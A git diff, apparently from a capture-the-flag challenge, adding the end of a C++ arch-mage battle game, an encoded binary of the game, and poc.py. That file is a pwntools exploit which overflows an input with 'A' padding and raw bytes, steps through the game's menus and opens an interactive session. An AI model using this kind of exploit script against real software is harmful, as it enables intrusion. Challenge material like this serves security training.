UserInterface::print("Sadly his spell was to powerful,\n"); + UserInterface::print("You got killed by the arch-mage...\n"); + } + } + else + { + UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); + player.rest(); + } + break; + case 5: + UserInterface::print("You found some info about the arch-mage:\n"); + UserInterface::characterInfo(archMage); + break; + case 6: + UserInterface::print("You meditate and got some insight to your ability:\n"); + UserInterface::characterInfo(player); + break; + } + UserInterface::nextDay(); + } +} diff --git a/poc.py b/poc.py new file mode 100644 index 0000000..de89014 --- /dev/null +++ b/poc.py @@ -0,0 +1,18 @@ +from pwn import * + +if __name__ == "__main__": + p = process("./main") + print p.recvuntil(">") + p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01")) + print p.recvuntil(">") + p.sendline("y") + print p.recvuntil(">") + p.sendline("2") + print p.recvuntil(">") + p.sendline("4") + print p.recvuntil(">") + p.sendline("y") + for i in xrange(99): + print p.recvuntil(">") + p.sendline("9") + p.interactive() diff --git a/spell-warz-again b/spell-warz-again new file mode 100755 index 0000000000000000000000000000000000000000..8dc453616a0e653f47b272b63b2159c8c9e1e08e GIT binary patch literal 89672 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 